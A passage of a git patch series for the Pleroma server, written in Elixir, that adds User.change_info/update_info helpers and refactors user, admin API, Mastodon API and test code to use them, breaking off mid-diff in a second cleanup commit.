+-- .../controllers/mastodon_api_controller.ex | 68 +++---- .../web/twitter_api/twitter_api_controller.ex | 8 +- test/tasks/database_test.exs | 4 +- test/user_test.exs | 18 ++ .../mastodon_api_controller_test.exs | 17 +- test/web/oauth/oauth_controller_test.exs | 9 +- test/web/ostatus/ostatus_controller_test.exs | 20 +- 12 files changed, 146 insertions(+), 307 deletions(-) diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex index 84c923901..d93ba8dee 100644 --- a/lib/mix/tasks/pleroma/user.ex +++ b/lib/mix/tasks/pleroma/user.ex @@ -4,7 +4,6 @@ defmodule Mix.Tasks.Pleroma.User do use Mix.Task - import Ecto.Changeset import Mix.Pleroma alias Pleroma.User alias Pleroma.UserInviteToken @@ -443,39 +442,21 @@ defmodule Mix.Tasks.Pleroma.User do end defp set_moderator(user, value) do - info_cng = User.Info.admin_api_update(user.info, %{is_moderator: value}) - - user_cng = - Ecto.Changeset.change(user) - |> put_embed(:info, info_cng) - - {:ok, user} = User.update_and_set_cache(user_cng) + {:ok, user} = User.update_info(user, &User.Info.admin_api_update(&1, %{is_moderator: value})) shell_info("Moderator status of #{user.nickname}: #{user.info.is_moderator}") user end defp set_admin(user, value) do - info_cng = User.Info.admin_api_update(user.info, %{is_admin: value}) - - user_cng = - Ecto.Changeset.change(user) - |> put_embed(:info, info_cng) - - {:ok, user} = User.update_and_set_cache(user_cng) + {:ok, user} = User.update_info(user, &User.Info.admin_api_update(&1, %{is_admin: value})) shell_info("Admin status of #{user.nickname}: #{user.info.is_admin}") user end defp set_locked(user, value) do - info_cng = User.Info.user_upgrade(user.info, %{locked: value}) - - user_cng = - Ecto.Changeset.change(user) - |> put_embed(:info, info_cng) - - {:ok, user} = User.update_and_set_cache(user_cng) + {:ok, user} = User.update_info(user, &User.Info.user_upgrade(&1, %{locked: value})) shell_info("Locked status of #{user.nickname}: #{user.info.locked}") user diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 8d126933b..422bc6fa6 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -197,8 +197,6 @@ defmodule Pleroma.User do |> truncate_if_exists(:name, name_limit) |> truncate_if_exists(:bio, bio_limit) - info_cng = User.Info.remote_user_creation(%User.Info{}, params[:info]) - changes = %User{} |> cast(params, [:bio, :name, :ap_id, :nickname, :avatar]) @@ -208,7 +206,7 @@ defmodule Pleroma.User do |> validate_length(:bio, max: bio_limit) |> validate_length(:name, max: name_limit) |> put_change(:local, false) - |> put_embed(:info, info_cng) + |> change_info(&User.Info.remote_user_creation(&1, params[:info])) if changes.valid? do case info_cng.changes[:source_data] do @@ -245,7 +243,6 @@ defmodule Pleroma.User do name_limit = Pleroma.Config.get([:instance, :user_name_length], 100) params = Map.put(params, :last_refreshed_at, NaiveDateTime.utc_now()) - info_cng = User.Info.user_upgrade(struct.info, params[:info], remote?) struct |> cast(params, [ @@ -260,7 +257,7 @@ defmodule Pleroma.User do |> validate_format(:nickname, local_nickname_regex()) |> validate_length(:bio, max: bio_limit) |> validate_length(:name, max: name_limit) - |> put_embed(:info, info_cng) + |> change_info(&User.Info.user_upgrade(&1, params[:info], remote?)) end def password_update_changeset(struct, params) do @@ -785,21 +782,15 @@ defmodule Pleroma.User do end def update_note_count(%User{} = user) do - note_count_query = + note_count = from( a in Object, where: fragment("?->>'actor' = ? and ?->>'type' = 'Note'", a.data, ^user.ap_id, a.data), select: count(a.id) ) + |> Repo.one() - note_count = Repo.one(note_count_query) - - info_cng = User.Info.set_note_count(user.info, note_count) - - user - |> change() - |> put_embed(:info, info_cng) - |> update_and_set_cache() + update_info(user, &User.Info.set_note_count(&1, note_count)) end @spec maybe_fetch_follow_information(User.t()) :: User.t() @@ -816,17 +807,7 @@ defmodule Pleroma.User do def fetch_follow_information(user) do with {:ok, info} <- ActivityPub.fetch_follow_information_for_user(user) do - info_cng = User.Info.follow_information_update(user.info, info) - - changeset = - user - |> change() - |> put_embed(:info, info_cng) - - update_and_set_cache(changeset) - else - {:error, _} = e -> e - e -> {:error, e} + update_info(user, &User.Info.follow_information_update(&1, info)) end end @@ -900,31 +881,11 @@ defmodule Pleroma.User do @spec mute(User.t(), User.t(), boolean()) :: {:ok, User.t()} | {:error, String.t()} def mute(muter, %User{ap_id: ap_id}, notifications? \\ true) do - info = muter.info - - info_cng = - User.Info.add_to_mutes(info, ap_id) - |> User.Info.add_to_muted_notifications(info, ap_id, notifications?) - - cng = - change(muter) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(muter, &User.Info.add_to_mutes(&1, ap_id, notifications?)) end def unmute(muter, %{ap_id: ap_id}) do - info = muter.info - - info_cng = - User.Info.remove_from_mutes(info, ap_id) - |> User.Info.remove_from_muted_notifications(info, ap_id) - - cng = - change(muter) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(muter, &User.Info.remove_from_mutes(&1, ap_id)) end def subscribe(subscriber, %{ap_id: ap_id}) do @@ -936,26 +897,14 @@ defmodule Pleroma.User do if blocked do {:error, "Could not subscribe: #{subscribed.nickname} is blocking you"} else - info_cng = - subscribed.info - |> User.Info.add_to_subscribers(subscriber.ap_id) - - change(subscribed) - |> put_embed(:info, info_cng) - |> update_and_set_cache() + update_info(subscribed, &User.Info.add_to_subscribers(&1, subscriber.ap_id)) end end end def unsubscribe(unsubscriber, %{ap_id: ap_id}) do with %User{} = user <- get_cached_by_ap_id(ap_id) do - info_cng = - user.info - |> User.Info.remove_from_subscribers(unsubscriber.ap_id) - - change(user) - |> put_embed(:info, info_cng) - |> update_and_set_cache() + update_info(user, &User.Info.remove_from_subscribers(&1, unsubscriber.ap_id)) end end @@ -990,15 +939,7 @@ defmodule Pleroma.User do {:ok, blocker} = update_follower_count(blocker) - info_cng = - blocker.info - |> User.Info.add_to_block(ap_id) - - cng = - change(blocker) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(blocker, &User.Info.add_to_block(&1, ap_id)) end # helper to handle the block given only an actor's AP id @@ -1007,15 +948,7 @@ defmodule Pleroma.User do end def unblock(blocker, %{ap_id: ap_id}) do - info_cng = - blocker.info - |> User.Info.remove_from_block(ap_id) - - cng = - change(blocker) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(blocker, &User.Info.remove_from_block(&1, ap_id)) end def mutes?(nil, _), do: false @@ -1072,27 +1005,11 @@ defmodule Pleroma.User do end def block_domain(user, domain) do - info_cng = - user.info - |> User.Info.add_to_domain_block(domain) - - cng = - change(user) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(user, &User.Info.add_to_domain_block(&1, domain)) end def unblock_domain(user, domain) do - info_cng = - user.info - |> User.Info.remove_from_domain_block(domain) - - cng = - change(user) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(user, &User.Info.remove_from_domain_block(&1, domain)) end def deactivate_async(user, status \\ true) do @@ -1100,13 +1017,7 @@ defmodule Pleroma.User do end def deactivate(%User{} = user, status \\ true) do - info_cng = User.Info.set_activation_status(user.info, status) - - with {:ok, user} <- - user - |> change() - |> put_embed(:info, info_cng) - |> update_and_set_cache() do + with {:ok, user} <- update_info(user, &User.Info.set_activation_status(&1, status)) do Enum.each(get_followers(user), &invalidate_cache/1) Enum.each(get_friends(user), &update_follower_count/1) @@ -1115,11 +1026,7 @@ defmodule Pleroma.User do end def update_notification_settings(%User{} = user, settings \\ %{}) do - info_changeset = User.Info.update_notification_settings(user.info, settings) - - change(user) - |> put_embed(:info, info_changeset) - |> update_and_set_cache() + update_info(user, &User.Info.update_notification_settings(&1, settings)) end def delete(%User{} = user) do @@ -1560,11 +1467,7 @@ defmodule Pleroma.User do @spec switch_email_notifications(t(), String.t(), boolean()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} def switch_email_notifications(user, type, status) do - info = Pleroma.User.Info.update_email_notifications(user.info, %{type => status}) - - change(user) - |> put_embed(:info, info) - |> update_and_set_cache() + update_info(user, &User.Info.update_email_notifications(&1, %{type => status})) end @doc """ @@ -1586,13 +1489,8 @@ defmodule Pleroma.User do def toggle_confirmation(%User{} = user) do need_confirmation? = !user.info.confirmation_pending - info_changeset = - User.Info.confirmation_changeset(user.info, need_confirmation: need_confirmation?) - user - |> change() - |> put_embed(:info, info_changeset) - |> update_and_set_cache() + |> update_info(&User.Info.confirmation_changeset(&1, need_confirmation: need_confirmation?)) end def get_mascot(%{info: %{mascot: %{} = mascot}}) when not is_nil(mascot) do @@ -1615,16 +1513,11 @@ defmodule Pleroma.User do } end - def ensure_keys_present(%User{info: info} = user) do - if info.keys do - {:ok, user} - else - {:ok, pem} = Keys.generate_rsa_pem() + def ensure_keys_present(%{info: %{keys: keys}} = user) when not is_nil(keys), do: {:ok, user} - user - |> Ecto.Changeset.change() - |> Ecto.Changeset.put_embed(:info, User.Info.set_keys(info, pem)) - |> update_and_set_cache() + def ensure_keys_present(%User{} = user) do + with {:ok, pem} <- Keys.generate_rsa_pem() do + update_info(user, &User.Info.set_keys(&1, pem)) end end @@ -1670,4 +1563,26 @@ defmodule Pleroma.User do |> validate_format(:email, @email_regex) |> update_and_set_cache() end + + @doc """ + Changes `user.info` and returns the user changeset. + + `fun` is called with the `user.info`. + """ + def change_info(user, fun) do + changeset = change(user) + info = get_field(changeset, :info) || %User.Info{} + put_embed(changeset, :info, fun.(info)) + end + + @doc """ + Updates `user.info` and sets cache. + + `fun` is called with the `user.info`. + """ + def update_info(user, fun) do + user + |> change_info(fun) + |> update_and_set_cache() + end end diff --git a/lib/pleroma/user/info.ex b/lib/pleroma/user/info.ex index 99745f496..92e3944f7 100644 --- a/lib/pleroma/user/info.ex +++ b/lib/pleroma/user/info.ex @@ -187,16 +187,11 @@ defmodule Pleroma.User.Info do |> validate_required([:subscribers]) end - @spec add_to_mutes(Info.t(), String.t()) :: Changeset.t() - def add_to_mutes(info, muted) do - set_mutes(info, Enum.uniq([muted | info.mutes])) - end - - @spec add_to_muted_notifications(Changeset.t(), Info.t(), String.t(), boolean()) :: - Changeset.t() - def add_to_muted_notifications(changeset, info, muted, notifications?) do - set_notification_mutes( - changeset, + @spec add_to_mutes(Info.t(), String.t(), boolean()) :: Changeset.t() + def add_to_mutes(info, muted, notifications?) do + info + |> set_mutes(Enum.uniq([muted | info.mutes])) + |> set_notification_mutes( Enum.uniq([muted | info.muted_notifications]), notifications? ) @@ -204,12 +199,9 @@ defmodule Pleroma.User.Info do @spec remove_from_mutes(Info.t(), String.t()) :: Changeset.t() def remove_from_mutes(info, muted) do - set_mutes(info, List.delete(info.mutes, muted)) - end - - @spec remove_from_muted_notifications(Changeset.t(), Info.t(), String.t()) :: Changeset.t() - def remove_from_muted_notifications(changeset, info, muted) do - set_notification_mutes(changeset, List.delete(info.muted_notifications, muted), true) + info + |> set_mutes(List.delete(info.mutes, muted)) + |> set_notification_mutes(List.delete(info.muted_notifications, muted), true) end def add_to_block(info, blocked) do diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex index 0d1db8fa0..6e703d169 100644 --- a/lib/pleroma/web/admin_api/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/admin_api_controller.ex @@ -254,18 +254,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do "nickname" => nickname }) when permission_group in ["moderator", "admin"] do - user = User.get_cached_by_nickname(nickname) + info = Map.put(%{}, "is_" <> permission_group, true) - info = - %{} - |> Map.put("is_" <> permission_group, true) - - info_cng = User.Info.admin_api_update(user.info, info) - - cng = - user - |> Ecto.Changeset.change() - |> Ecto.Changeset.put_embed(:info, info_cng) + {:ok, user} = + nickname + |> User.get_cached_by_nickname() + |> User.update_info(&User.Info.admin_api_update(&1, info)) ModerationLog.insert_log(%{ action: "grant", @@ -274,8 +268,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do permission: permission_group }) - {:ok, _user} = User.update_and_set_cache(cng) - json(conn, info) end @@ -293,40 +285,33 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do }) end + def right_delete(%{assigns: %{user: %{nickname: nickname}}} = conn, %{"nickname" => nickname}) do + render_error(conn, :forbidden, "You can't revoke your own admin status.") + end + def right_delete( - %{assigns: %{user: %User{:nickname => admin_nickname} = admin}} = conn, + %{assigns: %{user: admin}} = conn, %{ "permission_group" => permission_group, "nickname" => nickname } ) when permission_group in ["moderator", "admin"] do - if admin_nickname == nickname do - render_error(conn, :forbidden, "You can't revoke your own admin status.") - else - user = User.get_cached_by_nickname(nickname) + info = Map.put(%{}, "is_" <> permission_group, false) - info = - %{} - |> Map.put("is_" <> permission_group, false) + {:ok, user} = + nickname + |> User.get_cached_by_nickname() + |> User.update_info(&User.Info.admin_api_update(&1, info)) - info_cng = User.Info.admin_api_update(user.info, info) + ModerationLog.insert_log(%{ + action: "revoke", + actor: admin, + subject: user, + permission: permission_group + }) - cng = - Ecto.Changeset.change(user) - |> Ecto.Changeset.put_embed(:info, info_cng) - - {:ok, _user} = User.update_and_set_cache(cng) - - ModerationLog.insert_log(%{ - action: "revoke", - actor: admin, - subject: user, - permission: permission_group - }) - - json(conn, info) - end + json(conn, info) end def right_delete(conn, _) do diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 5faddc9f4..2f12ad43a 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -302,12 +302,11 @@ defmodule Pleroma.Web.CommonAPI do # Updates the emojis for a user based on their profile def update(user) do + emoji = emoji_from_profile(user) + source_data = user.info |> Map.get(:source_data, {}) |> Map.put("tag", emoji) + user = - with emoji <- emoji_from_profile(user), - source_data <- (user.info.source_data || %{}) |> Map.put("tag", emoji), - info_cng <- User.Info.set_source_data(user.info, source_data), - change <- Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_cng), - {:ok, user} <- User.update_and_set_cache(change) do + with {:ok, user} <- User.update_info(user, &User.Info.set_source_data(&1, source_data)) do user else _e -> @@ -336,10 +335,7 @@ defmodule Pleroma.Web.CommonAPI do } } = activity <- get_by_id_or_ap_id(id_or_ap_id), true <- Visibility.is_public?(activity), - %{valid?: true} = info_changeset <- User.Info.add_pinnned_activity(user.info, activity), - changeset <- - Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset), - {:ok, _user} <- User.update_and_set_cache(changeset) do + {:ok, _user} <- User.update_info(user, &User.Info.add_pinnned_activity(&1, activity)) do {:ok, activity} else %{errors: [pinned_activities: {err, _}]} -> @@ -352,11 +348,7 @@ defmodule Pleroma.Web.CommonAPI do def unpin(id_or_ap_id, user) do with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id), - %{valid?: true} = info_changeset <- - User.Info.remove_pinnned_activity(user.info, activity), - changeset <- - Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset), - {:ok, _user} <- User.update_and_set_cache(changeset) do + {:ok, _user} <- User.update_info(user, &User.Info.remove_pinnned_activity(&1, activity)) do {:ok, activity} else %{errors: [pinned_activities: {err, _}]} -> @@ -462,9 +454,7 @@ defmodule Pleroma.Web.CommonAPI do ap_id = muted.ap_id if ap_id not in user.info.muted_reblogs do - info_changeset = User.Info.add_reblog_mute(user.info, ap_id) - changeset = Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset) - User.update_and_set_cache(changeset) + User.update_info(user, &User.Info.add_reblog_mute(&1, ap_id)) end end @@ -472,9 +462,7 @@ defmodule Pleroma.Web.CommonAPI do ap_id = muted.ap_id if ap_id in user.info.muted_reblogs do - info_changeset = User.Info.remove_reblog_mute(user.info, ap_id) - changeset = Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_changeset) - User.update_and_set_cache(changeset) + User.update_info(user, &User.Info.remove_reblog_mute(&1, ap_id)) end end end diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 270c74089..8a5287079 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -188,14 +188,13 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do end) |> Map.put(:emoji, user_info_emojis) - info_cng = User.Info.profile_update(user.info, info_params) + changeset = + user + |> User.update_changeset(user_params) + |> User.change_info(&User.Info.profile_update(&1, info_params)) - with changeset <- User.update_changeset(user, user_params), - changeset <- Changeset.put_embed(changeset, :info, info_cng), - {:ok, user} <- User.update_and_set_cache(changeset) do - if original_user != user do - CommonAPI.update(user) - end + with {:ok, user} <- User.update_and_set_cache(changeset) do + if original_user != user, do: CommonAPI.update(user) json( conn, @@ -225,12 +224,10 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do end def update_banner(%{assigns: %{user: user}} = conn, %{"banner" => ""}) do - with new_info <- %{"banner" => %{}}, - info_cng <- User.Info.profile_update(user.info, new_info), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng), - {:ok, user} <- User.update_and_set_cache(changeset) do - CommonAPI.update(user) + new_info = %{"banner" => %{}} + with {:ok, user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do + CommonAPI.update(user) json(conn, %{url: nil}) end end @@ -238,9 +235,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do def update_banner(%{assigns: %{user: user}} = conn, params) do with {:ok, object} <- ActivityPub.upload(%{"img" => params["banner"]}, type: :banner), new_info <- %{"banner" => object.data}, - info_cng <- User.Info.profile_update(user.info, new_info), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng), - {:ok, user} <- User.update_and_set_cache(changeset) do + {:ok, user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do CommonAPI.update(user) %{"url" => [%{"href" => href} | _]} = object.data @@ -249,10 +244,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do end def update_background(%{assigns: %{user: user}} = conn, %{"img" => ""}) do - with new_info <- %{"background" => %{}}, - info_cng <- User.Info.profile_update(user.info, new_info), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng), - {:ok, _user} <- User.update_and_set_cache(changeset) do + new_info = %{"background" => %{}} + + with {:ok, _user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do json(conn, %{url: nil}) end end @@ -260,9 +254,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do def update_background(%{assigns: %{user: user}} = conn, params) do with {:ok, object} <- ActivityPub.upload(params, type: :background), new_info <- %{"background" => object.data}, - info_cng <- User.Info.profile_update(user.info, new_info), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng), - {:ok, _user} <- User.update_and_set_cache(changeset) do + {:ok, _user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do %{"url" => [%{"href" => href} | _]} = object.data json(conn, %{url: href}) @@ -816,26 +808,16 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do def set_mascot(%{assigns: %{user: user}} = conn, %{"file" => file}) do with {:ok, object} <- ActivityPub.upload(file, actor: User.ap_id(user)), %{} = attachment_data <- Map.put(object.data, "id", object.id), - %{type: type} = rendered <- + # Reject if not an image + %{type: "image"} = rendered <- StatusView.render("attachment.json", %{attachment: attachment_data}) do - # Reject if not an image - if type == "image" do - # Sure! - # Save to the user's info - info_changeset = User.Info.mascot_update(user.info, rendered) + # Sure! + # Save to the user's info + {:ok, _user} = User.update_info(user, &User.Info.mascot_update(&1, rendered)) - user_changeset = - user - |> Changeset.change() - |> Changeset.put_embed(:info, info_changeset) - - {:ok, _user} = User.update_and_set_cache(user_changeset) - - conn - |> json(rendered) - else - render_error(conn, :unsupported_media_type, "mascots can only be images") - end + json(conn, rendered) + else + %{type: _} -> render_error(conn, :unsupported_media_type, "mascots can only be images") end end @@ -1366,11 +1348,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do end def put_settings(%{assigns: %{user: user}} = conn, %{"data" => settings} = _params) do - info_cng = User.Info.mastodon_settings_update(user.info, settings) - - with changeset <- Changeset.change(user), - changeset <- Changeset.put_embed(changeset, :info, info_cng), - {:ok, _user} <- User.update_and_set_cache(changeset) do + with {:ok, _user} <- User.update_info(user, &User.Info.mastodon_settings_update(&1, settings)) do json(conn, %{}) else e -> diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex index 42234ae09..27f3664e0 100644 --- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex +++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex @@ -5,7 +5,6 @@ defmodule Pleroma.Web.TwitterAPI.Controller do use Pleroma.Web, :controller - alias Ecto.Changeset alias Pleroma.Notification alias Pleroma.User alias Pleroma.Web.OAuth.Token @@ -16,15 +15,14 @@ defmodule Pleroma.Web.TwitterAPI.Controller do action_fallback(:errors) def confirm_email(conn, %{"user_id" => uid, "token" => token}) do - with %User{} = user <- User.get_cached_by_id(uid), true <- user.local, true <- user.info.confirmation_pending, true <- user.info.confirmation_token == token, - info_change <- User.Info.confirmation_changeset(user.info, need_confirmation: false), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_change), - {:ok, _} <- User.update_and_set_cache(changeset) do conn |> redirect(to: "/") + with %User{info: info} = user <- User.get_cached_by_id(uid), + {:ok, _} <- + User.update_info(user, &User.Info.confirmation_changeset(&1, need_confirmation: false)) do end end diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs index a9925c361..b63dcac00 100644 --- a/test/tasks/database_test.exs +++ b/test/tasks/database_test.exs @@ -77,12 +77,10 @@ defmodule Mix.Tasks.Pleroma.DatabaseTest do assert length(following) == 2 assert info.follower_count == 0 - info_cng = Ecto.Changeset.change(info, %{follower_count: 3}) - {:ok, user} = user |> Ecto.Changeset.change(%{following: following ++ following}) - |> Ecto.Changeset.put_embed(:info, info_cng) + |> User.change_info(&Ecto.Changeset.change(&1, %{follower_count: 3})) |> Repo.update() assert length(user.following) == 4 diff --git a/test/user_test.exs b/test/user_test.exs index 21ea1d28e..126bd69e8 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -1707,4 +1707,22 @@ defmodule Pleroma.UserTest do assert password_reset_pending end end + + test "change_info/2" do + user = insert(:user) + assert user.info.hide_follows == false + + changeset = User.change_info(user, &User.Info.profile_update(&1, %{hide_follows: true})) + assert changeset.changes.info.changes.hide_follows == true + end + + test "update_info/2" do + user = insert(:user) + assert user.info.hide_follows == false + + assert {:ok, _} = User.update_info(user, &User.Info.profile_update(&1, %{hide_follows: true})) + + assert %{info: %{hide_follows: true}} = Repo.get(User, user.id) + assert {:ok, %{info: %{hide_follows: true}}} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + end end diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs index 73a3bf135..e32468f85 100644 --- a/test/web/mastodon_api/mastodon_api_controller_test.exs +++ b/test/web/mastodon_api/mastodon_api_controller_test.exs @@ -2613,14 +2613,11 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do {:ok, _} = CommonAPI.post(user, %{"status" => "cofe"}) # Stats should count users with missing or nil `info.deactivated` value - user = User.get_cached_by_id(user.id) - info_change = Changeset.change(user.info, %{deactivated: nil}) {:ok, _user} = - user - |> Changeset.change() - |> Changeset.put_embed(:info, info_change) - |> User.update_and_set_cache() + user.id + |> User.get_cached_by_id() + |> User.update_info(&Changeset.change(&1, %{deactivated: nil})) Pleroma.Stats.force_update() @@ -3953,13 +3950,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do describe "POST /api/v1/pleroma/accounts/confirmation_resend" do setup do - user = insert(:user) - info_change = User.Info.confirmation_changeset(user.info, need_confirmation: true) - {:ok, user} = - user - |> Changeset.change() - |> Changeset.put_embed(:info, info_change) + insert(:user) + |> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true)) |> Repo.update() assert user.info.confirmation_pending diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs index 8b88fd784..0cf755806 100644 --- a/test/web/oauth/oauth_controller_test.exs +++ b/test/web/oauth/oauth_controller_test.exs @@ -7,6 +7,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do import Pleroma.Factory alias Pleroma.Repo + alias Pleroma.User alias Pleroma.Web.OAuth.Authorization alias Pleroma.Web.OAuth.OAuthController alias Pleroma.Web.OAuth.Token @@ -775,15 +776,11 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do Pleroma.Config.put([:instance, :account_activation_required], true) - password = "testpassword" - user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password)) - info_change = Pleroma.User.Info.confirmation_changeset(user.info, need_confirmation: true) {:ok, user} = - user - |> Ecto.Changeset.change() - |> Ecto.Changeset.put_embed(:info, info_change) + insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password)) + |> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true)) |> Repo.update() refute Pleroma.User.auth_active?(user) diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs index ec96f0012..2b40fb47e 100644 --- a/test/web/ostatus/ostatus_controller_test.exs +++ b/test/web/ostatus/ostatus_controller_test.exs @@ -50,20 +50,16 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do assert response(conn, 200) end) =~ "[error]" - # Set a wrong magic-key for a user so it has to refetch - salmon_user = User.get_cached_by_ap_id("http://gs.example.org:4040/index.php/user/1") - # Wrong key - info_cng = - User.Info.remote_user_creation(salmon_user.info, %{ - magic_key: - "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB" - }) + info = %{ + magic_key: + "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB" + } - salmon_user - |> Ecto.Changeset.change() - |> Ecto.Changeset.put_embed(:info, info_cng) - |> User.update_and_set_cache() + # Set a wrong magic-key for a user so it has to refetch + "http://gs.example.org:4040/index.php/user/1" + |> User.get_cached_by_ap_id() + |> User.update_info(&User.Info.remote_user_creation(&1, info)) assert capture_log(fn -> conn = From 1bea67cb5e70ae28209a193c33b9da2d3c41cfb7 Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Tue, 24 Sep 2019 14:14:34 +0700 Subject: [PATCH 15/33] Cleanup Pleroma.User --- lib/pleroma/user.ex | 231 ++++++++---------- lib/pleroma/web/common_api/common_api.ex | 25 +- .../web/twitter_api/twitter_api_controller.ex | 7 +- 3 files changed, 108 insertions(+), 155 deletions(-) diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 422bc6fa6..640ef05c4 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -106,9 +106,7 @@ defmodule Pleroma.User do def profile_url(%User{ap_id: ap_id}), do: ap_id def profile_url(_), do: nil - def ap_id(%User{nickname: nickname}) do - "#{Web.base_url()}/users/#{nickname}" - end + def ap_id(%User{nickname: nickname}), do: "#{Web.base_url()}/users/#{nickname}" def ap_followers(%User{follower_address: fa}) when is_binary(fa), do: fa def ap_followers(%User{} = user), do: "#{ap_id(user)}/followers" @@ -119,12 +117,9 @@ defmodule Pleroma.User do def user_info(%User{} = user, args \\ %{}) do following_count = - if args[:following_count], - do: args[:following_count], - else: user.info.following_count || following_count(user) + Map.get(args, :following_count, user.info.following_count || following_count(user)) - follower_count = - if args[:follower_count], do: args[:follower_count], else: user.info.follower_count + follower_count = Map.get(args, :follower_count, user.info.follower_count) %{ note_count: user.info.note_count, @@ -137,12 +132,11 @@ defmodule Pleroma.User do end def follow_state(%User{} = user, %User{} = target) do - follow_activity = Utils.fetch_latest_follow(user, target) - - if follow_activity, - do: follow_activity.data["state"], + case Utils.fetch_latest_follow(user, target) do + %{data: %{"state" => state}} -> state # Ideally this would be nil, but then Cachex does not commit the value - else: false + _ -> false + end end def get_cached_follow_state(user, target) do @@ -152,11 +146,7 @@ defmodule Pleroma.User do @spec set_follow_state_cache(String.t(), String.t(), String.t()) :: {:ok | :error, boolean()} def set_follow_state_cache(user_ap_id, target_ap_id, state) do - Cachex.put( - :user_cache, - "follow_state:#{user_ap_id}|#{target_ap_id}", - state - ) + Cachex.put(:user_cache, "follow_state:#{user_ap_id}|#{target_ap_id}", state) end def set_info_cache(user, args) do @@ -197,32 +187,25 @@ defmodule Pleroma.User do |> truncate_if_exists(:name, name_limit) |> truncate_if_exists(:bio, bio_limit) - changes = - %User{} + changeset = + %User{local: false} |> cast(params, [:bio, :name, :ap_id, :nickname, :avatar]) |> validate_required([:name, :ap_id]) |> unique_constraint(:nickname) |> validate_format(:nickname, @email_regex) |> validate_length(:bio, max: bio_limit) |> validate_length(:name, max: name_limit) - |> put_change(:local, false) |> change_info(&User.Info.remote_user_creation(&1, params[:info])) - if changes.valid? do - case info_cng.changes[:source_data] do - %{"followers" => followers, "following" => following} -> - changes - |> put_change(:follower_address, followers) - 